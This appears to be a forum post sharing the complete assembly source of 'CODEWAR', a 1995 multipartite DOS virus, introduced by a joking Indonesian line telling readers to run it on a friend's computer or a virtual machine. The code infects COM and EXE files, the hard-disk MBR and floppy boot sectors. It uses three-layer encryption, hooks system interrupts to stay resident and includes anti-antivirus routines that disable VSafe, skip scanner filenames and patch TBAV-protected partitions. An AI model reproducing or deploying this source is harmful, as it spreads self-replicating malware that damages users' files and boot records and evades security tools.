Jgn sekali2 coba source ini dikomputer sendiri,cobalah dikomputer temen atau di vbox...hahaha
Code:
;-------------------------------------------------------------------------
;
;
;
;
;
;
;
;
;
;
;
; C O D E W A R V i r u s
;
;
; Programming by Sirius & Mindmaniac
;
;
; Germany 1995.
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;---------------------------------------------------------------------------
;
;
;
; Please note:
; --------------
;
; This programme introduces into the technique of multipartite viruses.
; Pass to responsible people only!
;
;
;
;
;
; Features:
; -------------
;
; - Infection Type: - COM files,
; - EXE files
; - om Boot Record (MBR) on Hard Disk Drives
; - Boot Sector (BS) on Floppy Disk Drives
; ( 1.44 Mb + 1.2 Mb )
;
;
; - Encryption: 3-layer-enryption (generic)
;
; - Memory resident (Bootsector virus technique)
;
; - Retro features.
;
; - Similarities: Alive (File Virus), Junkie (Multipartite Virus)
;
;
;
;
;
; Additional Notes:
; -------------------
;
; Infected objects are not detected by SSC Anti-Virus Scanner and
; Analyzer.
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;
;----------------------------------------------------------------------------
Ofs equ Offset
Cmt equ Comment
B equ byte ptr
W equ word ptr
Directory STRUC
DS_Drive db ?
DS_File_Name db 8 dup(0)
DS_File_Ext db 3 dup(0)
DS_File_Attr db ?
DS_Reserved db 10 dup(0)
DS_Time dw ?
DS_Date dw ?
DS_Start_Clust dw ?
DS_File_Size dd ?
Directory ENDS
FCB STRUC
FCB_Drive db ?
FCB_File_Name db 8 dup(0)
FCB_File_Ext db 3 dup(0)
FCB_Block dw ?
FCB_Rec_Size dw ?
FCB_File_Size dd ?
FCB_File_Date dw ?
FCB_File_Time dw ?
FCB_Reserved db 8 dup(0)
FCB_Record db ?
FCB_Random dd ?
FCB ENDS
DTA STRUC
DTA_Reserved db 21 dup(0)
DTA_File_Attr db ?
DTA_File_Time1 db ? ; = seconds
DTA_File_Time2 db ?
DTA_File_Date dw ?
DTA_File_Size dd ?
DTA_File_Name db 13 dup(0)
DTA ENDS
SFT STRUC
SFT_Reserved1 dw ? ; 0
SFT_Open_Mode dw ? ; 2
SFT_File_Attr db ? ; 4
SFT_Reserved2 dw ? ; 5
SFT_Reserved3 dd ? ; 7
SFT_Reserved4 dw ? ; 11
SFT_File_Time dw ? ; 13
SFT_File_Date dw ? ; 15
SFT_File_SizeLo dw ? ; 17
SFT_File_SizeHi dw ? ; 19
SFT_Curr_OfsLo dw ? ; 21
SFT_Curr_OfsHi dw ? ; 23
SFT_Reserved7 dw ? ; 25
SFT_Reserved8 dd ? ; 27
SFT_Reserved9 db ? ; 31
SFT_File_Name db 8 dup(?) ; 32 = 20h
SFT_File_Ext db 3 dup(?) ; 40 = 28h
SFT ENDS
ExeH STRUC
Buf_0h dw 0 ; "MZ" oder "ZM" (selten)
Buf_2h dw 0 ; Last page size
Buf_4h dw 0 ; Size in pages
Buf_6h dw 0
Buf_8h dw 0
Buf_ah dw 0
Buf_ch dw 0
Buf_eh dw 0 ; SS
Buf_10h dw 0 ; SP
Buf_12h dw 0 ; CheckSum
Buf_14h dw 0 ; IP
Buf_16h dw 0 ; CS
Buf_18h dw 0 ; WINDOWS Marker
ExeH ENDS
Flag_Exec_Infection equ 1
ofs equ offset
cmt equ comment
Reloc = ofs Vir_Start
Camouf = 2
Enc_Word_Length = (Virus_Length/2)+1
Virus_Length = 4*512
Header_Length = 18h
File_Type_COM = byte (Restore_COM-File_Type)-2
File_Type_EXE = byte (Restore_EXE-File_Type)-2
Media_Descriptor_144 = 0F0h
Media_Descriptor_120 = 0F9h
Vir_Len_Sectors = 4
Vir_Harddisk_Track = 0
Vir_Harddisk_Head = 0
Vir_Harddisk_Sector = 4
Vir_Floppy_120_Track = 79
Vir_Floppy_120_Head = 1
Vir_Floppy_120_Sector = 6
Vir_Floppy_144_Track = 79
Vir_Floppy_144_Head = 1
Vir_Floppy_144_Sector = 15
Names_HDD_Track = 0
Names_HDD_Head = 0
Names_HDD_Sector = 3
; in bytes
F_Min_LengthCOM = 3000
F_Max_LengthCOM = 50000
; in pages
F_Min_LengthEXE = 6 ; = 3 kb
F_Max_LengthEXE = 2000 ; = 1000 kb
Time_Stamp = 13
TOM_Decrement_value = 5
.286
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
ORG 0100h
Sample:
jmp Vir_Start
;----------------------------------------------------------------------------
; allways start at seg:0000
org 100h+ 1*16
;----------------------------------------------------------------------------
Vir_Start:
;----------------------------------------------------------------------------
; 1st encryption layer (outer)
;----------------------------------------------------------------------------
cld
mov CX,Enc_Word_Length
MOV bp,1234h
ORG $-2
E1_Idx_Val dw ofs E1_Encrypted_Code
mov ax,1234h
ORG $-2
E1_Key_Val dw 0
db 081h,3eh
E1_Dec_Loop:
XOR Word Ptr cs:[bp],ax
inc bp
inc bp
dec cx
or cx,cx
jz E1_Loop_done
jmp short E1_Dec_Loop
db 09ah ;=CALL FAR
E1_Loop_done:
;----------------------------------------------------------------------------
E1_Encrypted_Code:
;----------------------------------------------------------------------------
; 2nd encryption layer (inner)
;----------------------------------------------------------------------------
mov cx,(Enc_Word_Length/2) +1
MOV si,1234h
ORG $-2
E2_Idx_Val dw ofs E2_Encrypted_Code
mov ax,1234h
ORG $-2
E2_Key_Val_1 dw 0
mov bx,1234h
ORG $-2
E2_Key_Val_2 dw 0
E2_Dec_Loop:
xor w cs:[si],ax
inc si
inc si
xor w cs:[si],bx
inc si
inc si
loop short E2_Dec_Loop
;----------------------------------------------------------------------------
E2_Encrypted_Code:
;----------------------------------------------------------------------------
; 3rd encryption layer (innerst)
;----------------------------------------------------------------------------
mov cx,(Enc_Word_Length/3)+1
MOV si,1234h
ORG $-2
E3_Idx_Val dw ofs E3_Encrypted_Code
mov ax,1234h
ORG $-2
E3_Key_Val_1 dw 0
mov bx,1234h
ORG $-2
E3_Key_Val_2 dw 0
mov dx,1234h
ORG $-2
E3_Key_Val_3 dw 0
E3_Dec_Loop:
xor w cs:[si],ax
inc si
inc si
xor w cs:[si],bx
inc si
inc si
xor w cs:[si],dx
inc si
inc si
;Chg1+2
add ax,1234h
ORG $-2
E3_Key_Change_1 dw 0
add bx,1234h
ORG $-2
E3_Key_Change_2 dw 0
loop short E3_Dec_Loop
;----------------------------------------------------------------------------
E3_Encrypted_Code:
;----------------------------------------------------------------------------
cld
mov ax,cs
or ax,ax
jnz Run_file
jmp Its_boottime
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; Restore program-header, the registers and go back to the program
Exit_File:
pop es ds
db 0EBh ; JMP-short-opcode
File_Type db File_Type_COM
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; restore the COM-host-file
Restore_COM:
MOV DI,100h
push di
MOV Word Ptr cs:[DI],1234h
ORG $-2
Rest1 dw 0c3c3h
MOV byte Ptr cs:[DI+2],12h
ORG $-1
Rest2 db 0c3h
ZeroRegsForHost:
mov cx,8
nullup: push 0
loop nullup
popa
ret
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; restore the EXE-host-file
Restore_EXE:
mov ax,ds ; DS = PSP !
add ax,10h ; + 100h bytes of PSP
add cs:[bx+ofs Old_CS -Reloc],ax ; = new CS
add ax,0000 ; + old SS
org $-2
Old_SS dw ?
cli
mov ss,ax ; set SS
mov sp,0000 ; set SP
org $-2
Old_SP dw ?
sti
call ZeroRegsForHost
db 0EAh ; = JMP Old_CS:Old_IP
; In an EXE - header-values are stored here
Old_ExeValues:
Old_IP dw 0
Old_CS dw 0
;----------------------------------------------------------------------------
db " PSYCHo-TECH GMBH 1995 "
;----------------------------------------------------------------------------
Run_File:
; relocate
CALL Delta
Delta:
POP BX
SUB BX,1234h
ORG $-2
dw ofs Delta -Reloc
; save PSP
push ds es
; assume segments
push cs cs
pop ds es
; prepare the retf to Exit_File
push cs
lea ax,cs:[bx+ofs Exit_File -Reloc]
push ax
; change CS, so we start at ofs 0 not 100h
mov ax,cs
SHR BX,4
ADD AX,BX
PUSH AX
MOV AX,ofs Continue -Reloc
PUSH AX
RETF
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Gag:
push ax ds
in al,40h
test al,1
jz Skip_Gag
mov ax,0b800h
mov ds,ax
mov word ptr ds:[(79*2)],00cf9h ;= lightred point "ù"
Skip_Gag:
pop ds ax
ret
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Its_boottime:
call Gag
xor di,di
MOV DS,DI
mov si,7c00h+512
; decrement RAM by xx kB
SUB Word Ptr DS:[0413h],TOM_Decrement_value
MOV AX,DS:[0413h]
MOV BX,40h
MUL BX
MOV ES,AX
; move virus to TOM (xxxx bytes)
MOV CX,Virus_Length
CLD
REPZ MOVSB
; set new INT 13h and 1Ch
CLI
MOV SI,4*13h
MOV DI,ofs Old_Int_13 -Reloc
MOV AX,ofs New_Int_13 -Reloc
CALL Get_Set_Int
MOV Byte Ptr ES:[ofs Got_Int_21 -Reloc],0
MOV SI,4*1ch
MOV DI,ofs Old_Int_1c -Reloc
MOV AX,ofs New_Int_1c -Reloc
CALL Get_Set_Int
STI
; save INT 21h
MOV DI,ofs Old_Int_21 -Reloc
MOV SI,4*21h
MOVSW
MOVSW
mov di,7c00h
; prepare RETF to orig PAR/BS
PUSH CS ;=0
PUSH DI ;=7c00h
push es
push ofs Boot_Finish -Reloc
PUSH CS
POP ES
; restore the JUMP-Word and the patched PAR/BS
MOV SI,7c00h + 512 + BS_First_word -Reloc
MOVSW
mov di,7c00h + 60h ; offset of the patch-area
CALL Call_Move_20
; Patch the TBAV immunized partition
cmp w cs:[7c00h+0dfh],"hT"
jne no_TB_partition
mov b cs:[7c00h+73h],0
no_TB_partition:
; goto Boot_Finish / infect C:
retf
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
New_Int_13:
cmp ax,0201h ; reading ?
JNZ Jump_Old_Int_13
CMP CX,0001h ; sector 1 and Track 0 ?
JNZ Jump_Old_Int_13
or dh,dh ; head 0 ?
jnz Jump_Old_Int_13
pusha
PUSH DS
PUSH ES
CALL Int13_Works
POP ES
POP DS
popa
Jump_Old_Int_13:
jmp dword ptr cs:(ofs Old_Int_13 -Reloc)
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Call_Old_Int_13:
PUSHF
call dword ptr cs:(ofs Old_Int_13 -Reloc)
RET
;----------------------------------------------------------------------------
db " >>> BRAVEd DANGER 4 BRAVE PEOPLe <<< "
;----------------------------------------------------------------------------
Continue:
PUSH DS
PUSH ES
XOR AX,AX
MOV DS,AX
PUSH CS
POP ES
; save int 13h
MOV DI,ofs Old_Int_13 -Reloc
MOV SI,4*13h
CLD
MOVSW
MOVSW
JMP Short Read_Drive_C
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Boot_Finish:
PUSH DS
PUSH ES
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Read_Drive_C:
MOV AH,02h
MOV DL,80h
CALL Int13_Works ; infect drive C
POP ES
POP DS
XOR AX,AX
XOR BX,BX
retf
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Int13_Works:
PUSH CS
POP DS
PUSH CS
POP ES
CALL Read_or_Write_BS_from_A
jnb oky ; Goto_Ret
jmp Goto_Ret
oky:
MOV DI,ofs Buffer + 60h -Reloc
; check if BS is infected
CMP Word Ptr [SI],05EEBh ; SI=@buffer
JNZ BS_not_infected
CMP Word Ptr [DI],0FF33h ; == xor di,di
JZ Goto_Ret
BS_not_infected:
; test if it is Harddisk or floppy
cmp dl,79h
ja Not_Floppy
; test if HD 1.44 (=F0) or HD 1.2 (=F9) floppy
CMP Byte Ptr DS:[ofs Buffer+15h -Reloc],Media_Descriptor_144
JZ Found_ID_F0
CMP Byte Ptr DS:[ofs Buffer+15h -Reloc],Media_Descriptor_120
JNZ Goto_Ret
Large_floppy:
MOV CL,Vir_Floppy_120_Sector
JMP Short Floppy_Disk
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; 1.44 floppy found
Found_ID_F0:
MOV AX,40h
MOV DS,AX
; 0:490h == AT Drive 0 status
CMP Byte Ptr DS:[0090h],97h
JZ Large_Floppy
; it is 1.44 Mb
MOV CL,Vir_Floppy_144_Sector
Floppy_Disk:
PUSH CS
POP DS
MOV CH,Vir_Floppy_120_Track
JMP Short Head_01
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Not_floppy:
MOV CX,Vir_Harddisk_Sector
JMP Short Head_00
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Head_01:
MOV DH,Vir_Floppy_120_Head
Head_00:
MOV DS:[ofs Ptc_CX -Reloc],CX ; patch the PAR
MOV DS:[ofs Ptc_DX -Reloc],DX
PUSH DX
PUSH CX
PUSH SI
PUSH DI
; Move the JMP-Op to the beginning of BS/PAR
MOV DI,ofs BS_first_word -Reloc ; SI=ofs buffer
MOVSW
POP SI
CALL Call_Move_20
MOV SI,DI
POP DI
MOVSW
add di,60h-2
CALL Call_Move_20
; write BS
MOV AX,0301h
PUSH AX
CALL Read_or_Write_BS_from_A
POP AX
POP CX
POP DX
MOV AL,Vir_Len_Sectors
MOV BX,ofs Buffer -Reloc
JB Goto_Ret
MOV Word Ptr DS:[ofs E1_Idx_Val -Reloc],7c00h +512+E1_Encrypted_Code -Reloc -Camouf
MOV Word Ptr DS:[ofs E2_Idx_Val -Reloc],7c00h +512+E2_Encrypted_Code -Reloc
MOV Word Ptr DS:[ofs E3_Idx_Val -Reloc],7c00h +512+E3_Encrypted_Code -Reloc
CALL Encrypt_Virus
CALL Call_Old_Int_13
Goto_Ret:
RET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; read the PAR/BS from drive
;----------------------------------------------------------------------------
Read_or_Write_BS_from_A:
MOV AL,01h
MOV CX,0001h
MOV DH,0
MOV BX,ofs Buffer -Reloc
MOV SI,BX
PUSH DX
CALL Call_Old_Int_13
POP DX
RET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Call_Move_20:
MOV CX,32
CLD
REPZ MOVSb
RET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Get_Set_Int:
PUSH SI
MOVSW
MOVSW
POP SI
MOV [SI],AX
MOV [SI+2],ES
RET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Get_Random:
;; xor ax,ax
;; ret
push cx dx
in al,40h
mov cl,al
xor ax,ax
int 1ah
in al,40h
mov ah,al
in al,40h
rol ax,cl
pop dx cx
ret
;----------------------------------------------------------------------------
;============================================================================
Encrypt_Virus:
pusha
push ds es
; get (random) key-values
; L1
call Get_Random
MOV word ptr cs:[ofs E1_Key_Val -Reloc],ax
; L2
call Get_Random
MOV word ptr cs:[ofs E2_Key_Val_1 -Reloc],ax
call Get_Random
MOV word ptr cs:[ofs E2_Key_Val_2 -Reloc],ax
; L3
call Get_Random
MOV word ptr cs:[ofs E3_Key_Val_1 -Reloc],ax
call Get_Random
MOV word ptr cs:[ofs E3_Key_Val_2 -Reloc],ax
call Get_Random
MOV word ptr cs:[ofs E3_Key_Val_3 -Reloc],ax
call Get_Random
MOV word ptr cs:[ofs E3_Key_Change_1 -Reloc],ax
call Get_Random
MOV word ptr cs:[ofs E3_Key_Change_2 -Reloc],ax
; move bytes
PUSH CS
POP ES
MOV SI,1234h
org $-2
dw 0
MOV DI,ofs Buffer -Reloc
MOV CX,(ofs Encrypted_Code_End - ofs Vir_Start)
REPZ MOVSB
; fill
pusha
mov cx,2*80
Fill_random:
in al,40h
cld
stosb
loop Fill_random
popa
;----------------------------------------------------------------------------
; encrypt innerst layer E3
MOV w ax,cs:[ofs E3_Key_Val_1 -Reloc]
MOV w bx,cs:[ofs E3_Key_Val_2 -Reloc]
MOV w dx,cs:[ofs E3_Key_Val_3 -Reloc]
;chg1+2
MOV w di,cs:[ofs E3_Key_Change_1 -Reloc]
MOV w bp,cs:[ofs E3_Key_Change_2 -Reloc]
MOV si,ofs Buffer -Reloc
ADD si,ofs E3_Encrypted_Code -Reloc
MOV CX,(Enc_Word_Length/3) +1
C3_Enc_Loop:
XOR cs:[si],ax
INC si
INC si
XOR cs:[si],bx
INC si
INC si
XOR cs:[si],dx
INC si
INC si
;chg1
add ax,di
;chg2
add bx,bp
LOOP C3_Enc_Loop
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; encrypt inner layer E2
MOV w ax,cs:[ofs E2_Key_Val_1 -Reloc]
MOV w bx,cs:[ofs E2_Key_Val_2 -Reloc]
MOV si,ofs Buffer -Reloc
ADD si,ofs E2_Encrypted_Code -Reloc
MOV CX,(Enc_Word_Length/2) +1
C2_Enc_Loop:
XOR cs:[si],ax
INC si
INC si
XOR cs:[si],bx
INC si
INC si
LOOP C2_Enc_Loop
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; encrypt outer layer E1
MOV word ptr bx,cs:[ofs E1_Key_Val -Reloc]
MOV DI,ofs Buffer -Reloc
ADD DI,ofs E1_Encrypted_Code -Reloc
MOV CX,Enc_Word_Length
Enc_Loop:
XOR cs:[DI],BX
INC DI
INC DI
LOOP Enc_Loop
;----------------------------------------------------------------------------
Mult_POP:
pop es ds
popa
RET
;============================================================================
;----------------------------------------------------------------------------
New_Int_1c:
CMP Byte Ptr CS:[ofs Got_Int_21 -Reloc],1
JZ Jump_Int_1c
pusha
push ds es
MOV SI,4*21h
XOR AX,AX
MOV DS,AX
; load int 20h seg and compare if below 800h
MOV AX,DS:[4*20h +2]
CMP AX,0000h
JZ Exit_Int_1c
CMP AX,800h
JA Exit_Int_1c
; cmp with int 21h seg
CMP [SI+02h],AX
JNZ Exit_Int_1c
; cmp with int 27h seg
CMP DS:[4*27h +2],AX
JNZ Exit_Int_1c
; cmp with int 2Fh seg
CMP DS:[4*2Fh +2],AX
JNZ Exit_Int_1c
; ok, now hook int 21h
CLI
MOV DI,ofs Old_Int_21 -Reloc
PUSH CS
POP ES
MOV AX,ofs New_Int_21 -Reloc
CALL Get_Set_Int
; set the flag for it
MOV Byte Ptr CS:[ofs Got_Int_21 -Reloc],01h
STI
; get int 2f vector
push 0
pop ds
mov w ax,ds:[4*2fh]
mov w cs:[ofs Old_Int_2f -Reloc],ax
mov w ax,ds:[4*2fh+2]
mov w cs:[ofs Old_Int_2f -Reloc+2],ax
Exit_Int_1c:
pop es ds
popa
Jump_Int_1c:
jmp dword ptr cs:(ofs Old_int_1c -Reloc)
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
New_Int_21:
IF Flag_Exec_Infection
CMP AX,4B00h
JZ Control_Operation
ENDIF
CMP AH,3Dh
JZ Control_Operation
Exit_Int_21:
jmp dword ptr cs:(ofs Old_Int_21 -Reloc)
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Control_Operation:
pusha
push ds es
Not_Ext_Open:
xchg ax,cx
xor ax,ax
call Deinstall_Vsafe
; Hook int 24h
PUSH DS
MOV DS,AX
LES AX,DS:[4*24h]
MOV Word Ptr DS:[4*24h], ofs New_Int_24 -Reloc
MOV DS:[4*24h +2],CS
POP DS
PUSH ES
PUSH AX
; open file
MOV AX,3D00h
call Call_Old_Int21
jb File_Error
mov bx,ax
PUSH CS
POP DS
; get SFT
PUSH BX
MOV AX,1220h
call Call_Old_Int2F ; INT 2Fh
MOV AX,1216h
MOV BL,ES:[DI]
call Call_Old_Int2F ; INT 2Fh
POP BX
JB Close_Exit
; skip AV-programs ?
call Check_If_AV_Name
jz goto_close_exit
; test if executable-file
CMP Word Ptr ES:[DI+28h],"OC"
JZ Is_COM
CMP Word Ptr ES:[DI+28h],"XE"
JZ Is_EXE
goto_close_exit:
JMP Short Close_Exit
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Is_COM:
Is_EXE:
; Check if infected
mov ax,es:[di.SFT_File_Time]
and al,00011111b
cmp al,Time_Stamp
jz Close_Exit
PUSH ES
PUSH DI
; Datum/Zeit sichern
mov ax,es:[di.SFT_File_Time]
mov cs:[ofs Old_Time -Reloc],ax
mov ax,es:[di.SFT_File_Date]
mov cs:[ofs Old_Date -Reloc],ax
; Get file length directly from the SFT and save it
mov ax,es:[di+SFT_File_SizeLo]
mov cs:[ofs File_SizeLo -Reloc], ax
mov ax,es:[di.SFT_File_SizeHi]
mov cs:[ofs File_SizeHi -Reloc], ax
; Force read/write mode
mov word ptr es:[di.SFT_Open_Mode],2
CALL Read_Infect
POP DI
POP ES
Close_Exit:
MOV AH,3Eh
INT 21h
File_Error:
XOR SI,SI
MOV DS,SI
; restore INT 24h
POP AX
POP ES
MOV DS:[4*24h],AX
MOV DS:[4*24h +2],ES
pop es ds
popa
JMP Exit_Int_21
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
goto_Infect_Ret:
jmp Infect_Ret
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Process_EXE:
mov byte ptr cs:[ofs File_Type -Reloc],File_Type_EXE
; save handle
mov word ptr cs:[ofs Handle -Reloc],bx
; Dont infect to big/small EXE-files!
mov word ptr AX,cs:[ofs File_Buffer.BUF_4h -Reloc] ; EXE size in 512 byte pages
cmp AX,F_Min_LengthEXE ; Don't infect files less than xxxx pages
JB goto_Infect_Ret
cmp AX,F_Max_LengthEXE ; Or bigger than xxxx pages
JA goto_Infect_Ret
; save handle
push bx
; seek to EOF
CALL Seek_EOF
; It's OK! Process it now !
les ax,dword ptr cs:[File_Buffer.Buf_14h -Reloc] ;Entry_Point_Disp
mov cs:[ofs Old_IP -Reloc],ax
mov cs:[ofs Old_CS -Reloc],es
les ax,dword ptr cs:[File_Buffer.Buf_eh -Reloc] ;Stack_Disp
mov cs:[ofs Old_SS -Reloc],ax
mov cs:[ofs Old_SP -Reloc],es
mov ax,cs:[ofs File_Buffer.Buf_8h -Reloc] ; = Header size in paras
mov cl,4
shl ax,cl ; Convert to byte-format
; Get file size from SFT
push ax ; Save header size
mov ax,cs:[ofs File_SizeLo -Reloc]
mov dx,cs:[ofs File_SizeHi -Reloc]
; add the padding-number
mov cx,cs:[ofs File_SizeLo -Reloc]
MOV CH,CL
MOV CL,16
SUB CL,CH
AND CX,1+2+4+8
add ax,cx
; save the padding-number
mov cs:[ofs Padded -reloc],cx
pop bx ; = Header size
sub ax,bx ; DX:AX := file size - header size
sbb dx,0
mov cx,16 ; Convert to seg:ofs format
div cx ; DX:AX := (DX:AX) / 10h
or dx,dx ; IP
jz was_rounded
xor dx,dx
mov cs:[ofs File_Buffer.Buf_14h -Reloc],dx ; New IP
mov cs:[ofs File_Buffer.Buf_16h -Reloc],ax ; New CS
inc word ptr cs:[ofs File_Buffer.Buf_16h -Reloc] ; CS
jmp rounded
was_rounded:
mov cs:[ofs File_Buffer.Buf_14h -Reloc],dx ; New IP
mov cs:[ofs File_Buffer.Buf_16h -Reloc],ax ; New CS
rounded:
inc ax ; Avoid the "K" TB-flag (seems unecessary)
mov word ptr cs:[ofs File_Buffer.Buf_eh -Reloc],ax ; New SS
mov word ptr cs:[ofs File_Buffer.Buf_10h -Reloc],0 ; New SP
mov ax,cs:[ofs File_SizeLo -Reloc]
mov dx,cs:[ofs File_SizeHi -Reloc]
; add the padding-number
add ax,cs:[ofs Padded -reloc]
add dx,0
add ax,Virus_Length ; Lo-word
adc dx,0 ; Hi-word
push ax ; Lo-word
shr ax,9 ;
ror dx,9
stc
adc dx,ax
pop ax
and ah,1 ; Mod 512
mov cs:[ofs File_Buffer.Buf_4h -Reloc],dx ; Size in pages (rounded up)
mov cs:[ofs File_Buffer.Buf_2h -Reloc],ax ; Size of last page (in bytes)
push cs cs
pop ds es
mov word ptr bx,cs:[ofs Handle -Reloc]
mov ax,cs:[ofs File_SizeLo -Reloc]
CALL Padding
; Construct index for decryptor
PUSH AX
MOV word ptr DS:[ofs E1_Idx_Val -Reloc],(ofs E1_Encrypted_Code-ofs Vir_start)-Camouf
MOV word ptr DS:[ofs E2_Idx_Val -Reloc],(ofs E2_Encrypted_Code-ofs Vir_start)
MOV word ptr DS:[ofs E3_Idx_Val -Reloc],(ofs E3_Encrypted_Code-ofs Vir_start)
POP AX
pop bx
jmp Attach
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Read_Infect:
CALL Seek_TOF
; read xx bytes
MOV AH,3Fh
MOV CX,Header_Length
MOV DX,ofs File_buffer -Reloc
INT 21h
jnb read_ok
jmp Infect_Ret
read_ok:
cmp word ptr cs:[ofs File_buffer -Reloc],"ZM"
jnz Process_COM
jmp Process_EXE
;----------------------------------------------------------------------------
Process_COM:
mov byte ptr cs:[ofs File_Type -Reloc],File_Type_COM
; seek to EOF
CALL Seek_EOF
; Save 3 bytes
MOV ax,word ptr DS:[File_buffer -Reloc]
MOV DS:[ofs Rest1 -Reloc],ax
MOV al,byte ptr DS:[File_buffer -Reloc +2]
MOV DS:[ofs Rest2 -Reloc],al
CALL Seek_EOF
; file smaller than xxxx bytes ?
CMP AX,F_Min_LengthCOM
JB Infect_Ret
; file larger than xxxx bytes ?
CMP AX,F_Max_LengthCOM
JA Infect_Ret
CALL Padding
; Construct index for decryptor
PUSH AX
; layer 1
ADD AX,100h+ (ofs E1_Encrypted_Code-ofs Vir_Start)-Camouf
MOV DS:[ofs E1_Idx_Val -Reloc],AX
; layer 2
pop ax
push ax
ADD AX,100h+ (ofs E2_Encrypted_Code-ofs Vir_Start)
MOV DS:[ofs E2_Idx_Val -Reloc],AX
; layer 3
pop ax
push ax
ADD AX,100h+ (ofs E3_Encrypted_Code-ofs Vir_Start)
MOV DS:[ofs E3_Idx_Val -Reloc],AX
POP AX
; construct and insert a JUMP-INSTR.
MOV byte ptr DS:[File_buffer -Reloc],0E9h
SUB AX,3
MOV word ptr DS:[File_buffer+1 -Reloc],AX
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Attach:
; write body at EOF
MOV AH,40h
MOV CX,Virus_Length
MOV DX,ofs Buffer -Reloc
CALL Encrypt_Virus
INT 21h
JB Infect_Ret
; write JUMP to TOF
MOV AL,0
CALL Seek_TOF
MOV AH,40h
MOV CX,Header_Length
MOV DX,ofs File_buffer -Reloc
INT 21h
; restore time stamps
mov AX,5701h
mov cx,cs:[ofs Old_Time -Reloc]
mov dx,cs:[ofs Old_Date -Reloc]
and cl,11100000b
or cl,Time_Stamp ; Mark with Time-ID
INT 21h
Infect_Ret:
RET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Padding:
MOV AH,AL
MOV AL,16
SUB AL,AH
AND AX,1+2+4+8
MOV DX,AX
; seek forward
MOV AL,01h
call Seek_File
ret
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Deinstall_Vsafe:
pusha
push ds es
MOV DX,5945h
MOV AX,0FA01h
INT 16h
pop es ds
popa
ret
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Check_If_AV_Name proc near
cmp byte ptr es:[di.SFT_File_Name],"L"
jz Found_AV_Name
cmp byte ptr es:[di.SFT_File_Name],"-"
jz Found_AV_Name
cmp word ptr es:[di.SFT_File_Name],"BT"
jz Found_AV_Name
cmp word ptr es:[di.SFT_File_Name],"CS"
jz Found_AV_Name
cmp word ptr es:[di.SFT_File_Name],"-F"
jz Found_AV_Name
cmp word ptr es:[di.SFT_File_Name],"IV"
jz Found_AV_Name
Found_AV_Name:
ret
Check_If_AV_Name endp
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Seek_EOF:
MOV AL,02h
Seek_TOF:
XOR DX,DX
Seek_File:
MOV AH,42h
XOR CX,CX
INT 21h
RET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Call_Old_Int21 PROC NEAR
pushf
call dword ptr cs:(ofs Old_Int_21 -Reloc)
ret
Call_Old_Int21 ENDP
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Call_Old_Int2F PROC NEAR
pushf
call dword ptr cs:(ofs Old_Int_2F -Reloc)
ret
Call_Old_Int2F ENDP
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
New_Int_24:
MOV AL,03h
IRET
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Old_Int_13 dd 0
Old_Int_1C dd 0
Old_Int_21 dd 0
Old_Int_2f dd 0
Old_Time dw 0
Old_Date dw 0
Handle dw 0
; If Int 21h allready captured then 1 else 0
Got_Int_21 db 0
File_SizeHi dw 0
File_SizeLo dw 0
Padded dw 0
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
BS_first_word dw 0
Old_BS_code db 32 dup ('B')
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
; The first word of the PAR/BS is stored here
JBS_first_word:
jmp $ + 60h
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
Start_JBoot:
XOR DI,DI
MOV SI,7C00h
CLI
MOV SP,SI
MOV SS,DI
STI
; read xx sectors to 7e00h
MOV ES,DI
MOV AX,0204h ; !!!!!! Sectors !!!!!!
MOV BX,7c00h+512
MOV CX,1234h
ORG $-2
Ptc_CX dw 0004h
MOV DX,1234h
ORG $-2
Ptc_DX dw 0080h
nop
nop
INT 13h
; Jump to the reload code from 2 sectors
; The offset in the BS/PAR where this instuction is executed is at
; BS/PAR:60h+($-Start_Jboot)
jmp $ + 512 - ($-Start_Jboot+60h) ;+512 -125
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
db " [[ Cú0úDúEúWúAúR ]] <32> Germany 1995 "
db "Virtually called to life & survival by"
db "RGOEPMSQO & NJOENBOJBD"
db " ==>= AllE GUtEN DiNGE SiND DREi ==>= "
db 0
;----------------------------------------------------------------------------
Encrypted_Code_End equ $
;----------------------------------------------------------------------------
File_buffer:
db Header_Length dup ('H')
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
